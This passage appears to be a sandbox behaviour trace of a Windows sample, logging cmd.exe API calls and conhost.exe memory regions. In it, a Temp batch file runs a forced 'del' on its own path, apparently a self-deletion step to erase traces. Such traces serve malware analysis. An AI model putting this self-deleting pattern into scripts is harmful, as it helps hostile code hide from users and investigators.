lpMode=0x7ff674bd960c) returned 1 [0145.378] _get_osfhandle (_FileHandle=0) returned 0x20 [0145.378] GetConsoleMode (in: hConsoleHandle=0x20, lpMode=0x7ff674bd9608 | out: lpMode=0x7ff674bd9608) returned 1 [0145.437] SetConsoleInputExeNameW () returned 0x1 [0145.437] GetConsoleOutputCP () returned 0x1b5 [0145.531] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff674bd9660 | out: lpCPInfo=0x7ff674bd9660) returned 1 [0145.531] SetThreadUILanguage (LangId=0x0) returned 0x409 [0145.640] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\cj0g5qakfh.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2e6c38ee50, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x90 [0145.640] _open_osfhandle (_OSFileHandle=0x90, _Flags=8) returned 3 [0145.640] _get_osfhandle (_FileHandle=3) returned 0x90 [0145.640] SetFilePointer (in: hFile=0x90, lDistanceToMove=143, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x8f [0145.640] GetProcessHeap () returned 0x1fb1ef60000 [0145.641] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79650) returned 1 [0145.641] GetProcessHeap () returned 0x1fb1ef60000 [0145.641] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef795f0) returned 1 [0145.641] GetProcessHeap () returned 0x1fb1ef60000 [0145.641] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef78bf0) returned 1 [0145.641] GetProcessHeap () returned 0x1fb1ef60000 [0145.642] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79570) returned 1 [0145.642] GetProcessHeap () returned 0x1fb1ef60000 [0145.643] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef6aa90) returned 1 [0145.643] GetProcessHeap () returned 0x1fb1ef60000 [0145.643] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef794e0) returned 1 [0145.643] GetProcessHeap () returned 0x1fb1ef60000 [0145.643] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef6aa10) returned 1 [0145.643] GetProcessHeap () returned 0x1fb1ef60000 [0145.643] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef76d80) returned 1 [0145.643] GetProcessHeap () returned 0x1fb1ef60000 [0145.643] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef6a950) returned 1 [0145.643] _get_osfhandle (_FileHandle=3) returned 0x90 [0145.644] SetFilePointer (in: hFile=0x90, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x8f [0145.644] ReadFile (in: hFile=0x90, lpBuffer=0x7ff674be5b80, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2e6c38ee10, lpOverlapped=0x0 | out: lpBuffer=0x7ff674be5b80*, lpNumberOfBytesRead=0x2e6c38ee10*=0x47, lpOverlapped=0x0) returned 1 [0145.644] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr="del /a /q /f \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\cJ0G5QAkfh.bat\"\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\cJ0G5QAkfh.bat\"exe\"\r\ndel /a /q /f \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\cJ0G5QAkfh.bat\"5QAkfh.bat\"", cbMultiByte=71, lpWideCharStr=0x7ff674bd09e0, cchWideChar=8191 | out: lpWideCharStr="del /a /q /f \"C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\cJ0G5QAkfh.bat\">nul\r\n") returned 71 [0145.644] GetProcessHeap () returned 0x1fb1ef60000 [0145.644] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x4012) returned 0x1fb1ef79f90 [0145.644] GetProcessHeap () returned 0x1fb1ef60000 [0145.644] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79f90) returned 1 [0145.644] _wcsicmp (_String1="del", _String2=")") returned 59 [0145.644] _wcsicmp (_String1="FOR", _String2="del") returned 2 [0145.644] _wcsicmp (_String1="FOR/?", _String2="del") returned 2 [0145.645] _wcsicmp (_String1="IF", _String2="del") returned 5 [0145.645] _wcsicmp (_String1="IF/?", _String2="del") returned 5 [0145.645] _wcsicmp (_String1="REM", _String2="del") returned 14 [0145.645] _wcsicmp (_String1="REM/?", _String2="del") returned 14 [0145.645] GetProcessHeap () returned 0x1fb1ef60000 [0145.645] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xb0) returned 0x1fb1ef6a950 [0145.645] GetProcessHeap () returned 0x1fb1ef60000 [0145.645] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x18) returned 0x1fb1ef77640 [0145.645] _get_osfhandle (_FileHandle=3) returned 0x90 [0145.645] SetFilePointer (in: hFile=0x90, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0145.645] ReadFile (in: hFile=0x90, lpBuffer=0x7ff674be5b80, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x2e6c38ecd0, lpOverlapped=0x0 | out: lpBuffer=0x7ff674be5b80*, lpNumberOfBytesRead=0x2e6c38ecd0*=0x0, lpOverlapped=0x0) returned 1 [0145.645] GetLastError () returned 0x0 [0145.645] _get_osfhandle (_FileHandle=3) returned 0x90 [0145.645] GetFileType (hFile=0x90) returned 0x1 [0145.645] _get_osfhandle (_FileHandle=3) returned 0x90 [0145.646] SetFilePointer (in: hFile=0x90, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xd6 [0145.646] GetProcessHeap () returned 0x1fb1ef60000 [0145.646] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x4012) returned 0x1fb1ef79f90 [0145.646] GetProcessHeap () returned 0x1fb1ef60000 [0145.646] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79f90) returned 1 [0145.646] GetProcessHeap () returned 0x1fb1ef60000 [0145.646] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x9a) returned 0x1fb1ef6aa10 [0145.646] _tell (_FileHandle=3) returned 214 [0145.646] _close (_FileHandle=3) returned 0 [0145.646] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0145.646] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0145.646] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0145.646] GetConsoleTitleW (in: lpConsoleTitle=0x2e6c38ec00, nSize=0x104 | out: lpConsoleTitle="C:\\Windows\\System32\\cmd.exe") returned 0x1b [0145.734] _wcsicmp (_String1="del", _String2="DIR") returned -4 [0145.734] _wcsicmp (_String1="del", _String2="ERASE") returned -1 [0145.734] _wcsicmp (_String1="del", _String2="DEL") returned 0 [0145.734] GetProcessHeap () returned 0x1fb1ef60000 [0145.734] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x124) returned 0x1fb1ef794e0 [0145.734] GetProcessHeap () returned 0x1fb1ef60000 [0145.734] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef794e0, Size=0xa0) returned 0x1fb1ef794e0 [0145.734] GetProcessHeap () returned 0x1fb1ef60000 [0145.734] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef794e0) returned 0xa0 [0145.734] GetProcessHeap () returned 0x1fb1ef60000 [0145.734] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0xa2) returned 0x1fb1ef79590 [0145.734] GetProcessHeap () returned 0x1fb1ef60000 [0145.734] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x124) returned 0x1fb1ef79640 [0145.734] GetProcessHeap () returned 0x1fb1ef60000 [0145.734] RtlReAllocateHeap (Heap=0x1fb1ef60000, Flags=0x0, Ptr=0x1fb1ef79640, Size=0xa0) returned 0x1fb1ef79640 [0145.734] GetProcessHeap () returned 0x1fb1ef60000 [0145.734] RtlSizeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, MemoryPointer=0x1fb1ef79640) returned 0xa0 [0145.737] GetProcessHeap () returned 0x1fb1ef60000 [0145.737] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x82) returned 0x1fb1ef6aac0 [0145.737] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x2e6c38e760 | out: lpBuffer="C:\\portSession") returned 0xe [0145.737] GetProcessHeap () returned 0x1fb1ef60000 [0145.737] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x58) returned 0x1fb1ef77e20 [0145.737] GetCurrentDirectoryW (in: nBufferLength=0x106, lpBuffer=0x2e6c38d630 | out: lpBuffer="C:\\portSession") returned 0xe [0145.737] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x2e6c38d8d0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x2e6c38dd00, nFileSystemNameSize=0x106 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x0, lpMaximumComponentLength=0x2e6c38d8d0*=0xff, lpFileSystemFlags=0x0, lpFileSystemNameBuffer="NTFS") returned 1 [0145.738] _wcsicmp (_String1="NTFS", _String2="FAT") returned 8 [0145.738] GetProcessHeap () returned 0x1fb1ef60000 [0145.738] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x58) returned 0x1fb1ef782a0 [0145.738] GetProcessHeap () returned 0x1fb1ef60000 [0145.738] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x260) returned 0x1fb1ef796f0 [0145.738] _wcsicmp (_String1="cJ0G5QAkfh.bat", _String2=".") returned 53 [0145.738] _wcsicmp (_String1="cJ0G5QAkfh.bat", _String2="..") returned 53 [0145.738] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\cJ0G5QAkfh.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\cj0g5qakfh.bat")) returned 0x20 [0145.738] GetProcessHeap () returned 0x1fb1ef60000 [0145.738] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x218) returned 0x1fb1ef79960 [0145.738] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1fb1ef79970 | out: lpBuffer="C:\\portSession") returned 0xe [0145.738] SetErrorMode (uMode=0x0) returned 0x0 [0145.738] SetErrorMode (uMode=0x1) returned 0x0 [0145.738] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\cJ0G5QAkfh.bat", nBufferLength=0x104, lpBuffer=0x2e6c38dcf0, lpFilePart=0x2e6c38dce0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat", lpFilePart=0x2e6c38dce0*="cJ0G5QAkfh.bat") returned 0x37 [0145.738] SetErrorMode (uMode=0x0) returned 0x1 [0145.739] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp")) returned 0x10 [0145.739] GetProcessHeap () returned 0x1fb1ef60000 [0145.739] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x260) returned 0x1fb1ef79b80 [0145.739] _wcsicmp (_String1="cJ0G5QAkfh.bat", _String2=".") returned 53 [0145.739] _wcsicmp (_String1="cJ0G5QAkfh.bat", _String2="..") returned 53 [0145.739] GetFileAttributesW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\\\cJ0G5QAkfh.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\cj0g5qakfh.bat")) returned 0x20 [0145.739] GetProcessHeap () returned 0x1fb1ef60000 [0145.739] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x2e) returned 0x1fb1ef78d60 [0145.739] GetProcessHeap () returned 0x1fb1ef60000 [0145.739] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x62) returned 0x1fb1ef76790 [0145.739] GetProcessHeap () returned 0x1fb1ef60000 [0145.739] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x62) returned 0x1fb1ef79df0 [0145.739] GetProcessHeap () returned 0x1fb1ef60000 [0145.739] RtlAllocateHeap (HeapHandle=0x1fb1ef60000, Flags=0x8, Size=0x810) returned 0x1fb1ef6dbd0 [0145.739] FindFirstFileExW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\cj0g5qakfh.bat"), fInfoLevelId=0x0, lpFindFileData=0x1fb1ef6dbe4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1fb1ef6dbe4) returned 0x1fb1ef78000 [0145.740] RtlDosPathNameToRelativeNtPathName_U_WithStatus () returned 0x0 [0145.740] NtOpenFile (in: FileHandle=0x2e6c38db20, DesiredAccess=0x10000, ObjectAttributes=0x2e6c38dac0*(Length=0x30, RootDirectory=0x0, ObjectName="\\??\\C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\cj0g5qakfh.bat"), Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x2e6c38da90, ShareAccess=0x4, OpenOptions=0x5040 | out: FileHandle=0x2e6c38db20*=0x88, IoStatusBlock=0x2e6c38da90*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0145.741] RtlReleaseRelativeName () returned 0x0 [0145.741] RtlFreeAnsiString (AnsiString="\\") [0145.741] NtQueryVolumeInformationFile (in: FileHandle=0x88, IoStatusBlock=0x2e6c38d998, FsInformation=0x2e6c38d990, Length=0x8, FsInformationClass=0x4 | out: IoStatusBlock=0x2e6c38d998, FsInformation=0x2e6c38d990) returned 0x0 [0145.741] CloseHandle (hObject=0x88) returned 1 [0145.742] FindNextFileW (in: hFindFile=0x1fb1ef78000, lpFindFileData=0x1fb1ef6dbe4 | out: lpFindFileData=0x1fb1ef6dbe4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd762391, ftCreationTime.dwHighDateTime=0x1d9eb0c, ftLastAccessTime.dwLowDateTime=0xd762391, ftLastAccessTime.dwHighDateTime=0x1d9eb0c, ftLastWriteTime.dwLowDateTime=0xd762391, ftLastWriteTime.dwHighDateTime=0x1d9eb0c, nFileSizeHigh=0x0, nFileSizeLow=0xd6, dwReserved0=0x0, dwReserved1=0x0, cFileName="cJ0G5QAkfh.bat", cAlternateFileName="CJ0G5Q~1.BAT")) returned 0 [0145.744] GetLastError () returned 0x12 [0145.744] FindClose (in: hFindFile=0x1fb1ef78000 | out: hFindFile=0x1fb1ef78000) returned 1 [0145.744] GetProcessHeap () returned 0x1fb1ef60000 [0145.744] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef6dbd0) returned 1 [0145.744] GetProcessHeap () returned 0x1fb1ef60000 [0145.745] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79df0) returned 1 [0145.745] GetProcessHeap () returned 0x1fb1ef60000 [0145.745] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef78d60) returned 1 [0145.745] GetProcessHeap () returned 0x1fb1ef60000 [0145.745] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef76790) returned 1 [0145.746] GetProcessHeap () returned 0x1fb1ef60000 [0145.746] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79b80) returned 1 [0145.746] GetProcessHeap () returned 0x1fb1ef60000 [0145.746] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79960) returned 1 [0145.746] GetProcessHeap () returned 0x1fb1ef60000 [0145.747] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef796f0) returned 1 [0145.747] GetProcessHeap () returned 0x1fb1ef60000 [0145.747] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef782a0) returned 1 [0145.747] GetProcessHeap () returned 0x1fb1ef60000 [0145.748] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef77e20) returned 1 [0145.748] GetProcessHeap () returned 0x1fb1ef60000 [0145.748] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef6aac0) returned 1 [0145.749] GetProcessHeap () returned 0x1fb1ef60000 [0145.749] RtlFreeHeap (HeapHandle=0x1fb1ef60000, Flags=0x0, BaseAddress=0x1fb1ef79640) returned 1 [0145.749] _get_osfhandle (_FileHandle=1) returned 0x24 [0145.749] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x7) returned 1 [0145.844] _get_osfhandle (_FileHandle=1) returned 0x24 [0145.844] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x7ff674bd960c | out: lpMode=0x7ff674bd960c) returned 1 [0146.023] _get_osfhandle (_FileHandle=0) returned 0x20 [0146.023] GetConsoleMode (in: hConsoleHandle=0x20, lpMode=0x7ff674bd9608 | out: lpMode=0x7ff674bd9608) returned 1 [0146.189] SetConsoleInputExeNameW () returned 0x1 [0146.189] GetConsoleOutputCP () returned 0x1b5 [0146.281] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff674bd9660 | out: lpCPInfo=0x7ff674bd9660) returned 1 [0146.281] SetThreadUILanguage (LangId=0x0) returned 0x409 [0146.394] CreateFileW (lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Temp\\cJ0G5QAkfh.bat" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\temp\\cj0g5qakfh.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x2e6c38ee50, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff [0146.395] GetLastError () returned 0x2 [0146.395] _get_osfhandle (_FileHandle=2) returned 0x28 [0146.395] GetFileType (hFile=0x28) returned 0x2 [0146.395] GetStdHandle (nStdHandle=0xfffffff4) returned 0x28 [0146.395] GetConsoleMode (in: hConsoleHandle=0x28, lpMode=0x2e6c38edb8 | out: lpMode=0x2e6c38edb8) returned 1 [0146.399] _get_osfhandle (_FileHandle=2) returned 0x28 [0146.399] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x28, lpConsoleScreenBufferInfo=0x2e6c38edf0 | out: lpConsoleScreenBufferInfo=0x2e6c38edf0) returned 1 [0146.484] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0x7ff674be1b60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0146.486] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x236c, dwLanguageId=0x0, lpBuffer=0x7ff674be1b60, nSize=0x2000, Arguments=0x2e6c38ee90 | out: lpBuffer="The batch file cannot be found.\r\n") returned 0x21 [0146.486] WriteConsoleW (in: hConsoleOutput=0x28, lpBuffer=0x7ff674be1b60*, nNumberOfCharsToWrite=0x21, lpNumberOfCharsWritten=0x2e6c38ede0, lpReserved=0x0 | out: lpBuffer=0x7ff674be1b60*, lpNumberOfCharsWritten=0x2e6c38ede0*=0x21) returned 1 [0146.580] CmdBatNotificationStub () returned 0x0 [0146.581] _get_osfhandle (_FileHandle=1) returned 0x24 [0146.581] SetConsoleMode (hConsoleHandle=0x24, dwMode=0x7) returned 1 [0146.681] _get_osfhandle (_FileHandle=1) returned 0x24 [0146.681] GetConsoleMode (in: hConsoleHandle=0x24, lpMode=0x7ff674bd960c | out: lpMode=0x7ff674bd960c) returned 1 [0146.765] _get_osfhandle (_FileHandle=0) returned 0x20 [0146.765] GetConsoleMode (in: hConsoleHandle=0x20, lpMode=0x7ff674bd9608 | out: lpMode=0x7ff674bd9608) returned 1 [0146.859] SetConsoleInputExeNameW () returned 0x1 [0146.859] GetConsoleOutputCP () returned 0x1b5 [0146.965] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff674bd9660 | out: lpCPInfo=0x7ff674bd9660) returned 1 [0146.965] SetThreadUILanguage (LangId=0x0) returned 0x409 [0147.306] exit (_Code=1) Thread: id = 172 os_tid = 0x139c Process: id = "17" image_name = "conhost.exe" filename = "c:\\windows\\system32\\conhost.exe" page_root = "0x4c681000" os_pid = "0x13b8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "16" os_parent_pid = "0x13c0" cmd_line = "\\??\\C:\\Windows\\system32\\conhost.exe 0xffffffff -ForceV1" cur_dir = "C:\\Windows" os_username = "XC64ZB\\RDhJ0CNFevzX" bitness = "32" os_groups = "XC64ZB\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f443" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 3352 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 3353 start_va = 0x3931840000 end_va = 0x393187ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003931840000" filename = "" Region: id = 3354 start_va = 0x3931a00000 end_va = 0x3931bfffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003931a00000" filename = "" Region: id = 3355 start_va = 0x2244f6a0000 end_va = 0x2244f6bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002244f6a0000" filename = "" Region: id = 3356 start_va = 0x2244f6c0000 end_va = 0x2244f6d4fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002244f6c0000" filename = "" Region: id = 3357 start_va = 0x7df5ff830000 end_va = 0x7ff5ff82ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ff830000" filename = "" Region: id = 3358 start_va = 0x7ff6b5c70000 end_va = 0x7ff6b5c92fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b5c70000" filename = "" Region: id = 3359 start_va = 0x7ff6b6590000 end_va = 0x7ff6b65a0fff monitored = 0 entry_point = 0x7ff6b65916b0 region_type = mapped_file name = "conhost.exe" filename = "\\Windows\\System32\\conhost.exe" (normalized: "c:\\windows\\system32\\conhost.exe") Region: id = 3360 start_va = 0x7ffb201b0000 end_va = 0x7ffb20370fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3361 start_va = 0x2244f6e0000 end_va = 0x2244f8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002244f6e0000" filename = "" Region: id = 3362 start_va = 0x7ffb1feb0000 end_va = 0x7ffb1ff5cfff monitored = 0 entry_point = 0x7ffb1fec81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3363 start_va = 0x7ffb1cf80000 end_va = 0x7ffb1d167fff monitored = 0 entry_point = 0x7ffb1cfaba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3364 start_va = 0x2244f6a0000 end_va = 0x2244f6affff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002244f6a0000" filename = "" Region: id = 3365 start_va = 0x7ff6b5b70000 end_va = 0x7ff6b5c6ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6b5b70000" filename = "" Region: id = 3366 start_va = 0x2244f6e0000 end_va = 0x2244f79dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3367 start_va = 0x2244f7c0000 end_va = 0x2244f8bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002244f7c0000" filename = "" Region: id = 3368 start_va = 0x7ffb1dde0000 end_va = 0x7ffb1de7cfff monitored = 0 entry_point = 0x7ffb1dde78a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3369 start_va = 0x3931880000 end_va = 0x39318bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000003931880000" filename = "" Region: id = 3370 start_va = 0x2244f8c0000 end_va = 0x2244fa5ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002244f8c0000" filename = "" Region: id = 3371 start_va = 0x2244f6b0000 end_va = 0x2244f6b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002244f6b0000" filename = "" Region: id = 3372 start_va = 0x7ffb15d60000 end_va = 0x7ffb15db8fff monitored = 0 entry_point = 0x7ffb15d6fbf0 region_type = mapped_file name = "conhostv2.dll" filename = "\\Windows\\System32\\ConhostV2.dll" (normalized: "c:\\windows\\system32\\conhostv2.dll") Region: id = 3373 start_va = 0x2244f7a0000 end_va = 0x2244f7a0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002244f7a0000" filename = "" Region: id = 3374 start_va = 0x7ffb1d5b0000 end_va = 0x7ffb1d82cfff monitored = 0 entry_point = 0x7ffb1d684970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3375 start_va = 0x7ffb1ff60000 end_va = 0x7ffb2007bfff monitored = 0 entry_point = 0x7ffb1ffa02b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3376 start_va = 0x7ffb1d200000 end_va = 0x7ffb1d269fff monitored = 0 entry_point = 0x7ffb1d236d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3377 start_va = 0x7ffb1fc90000 end_va = 0x7ffb1fde5fff monitored = 0 entry_point = 0x7ffb1fc9a8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3378 start_va = 0x7ffb1d8e0000 end_va = 0x7ffb1da65fff monitored = 0 entry_point = 0x7ffb1d92ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3379 start_va = 0x2244f7b0000 end_va = 0x2244f7b6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002244f7b0000" filename = "" Region: id = 3380 start_va = 0x7ffb1f890000 end_va = 0x7ffb1f9d2fff monitored = 0 entry_point = 0x7ffb1f8b8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3381 start_va = 0x7ffb20080000 end_va = 0x7ffb200dafff monitored = 0 entry_point = 0x7ffb200938b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3382 start_va = 0x7ffb1fe60000 end_va = 0x7ffb1fe9afff monitored = 0 entry_point = 0x7ffb1fe612f0 region_type = mapped_file name = "imm32.dll" filename = 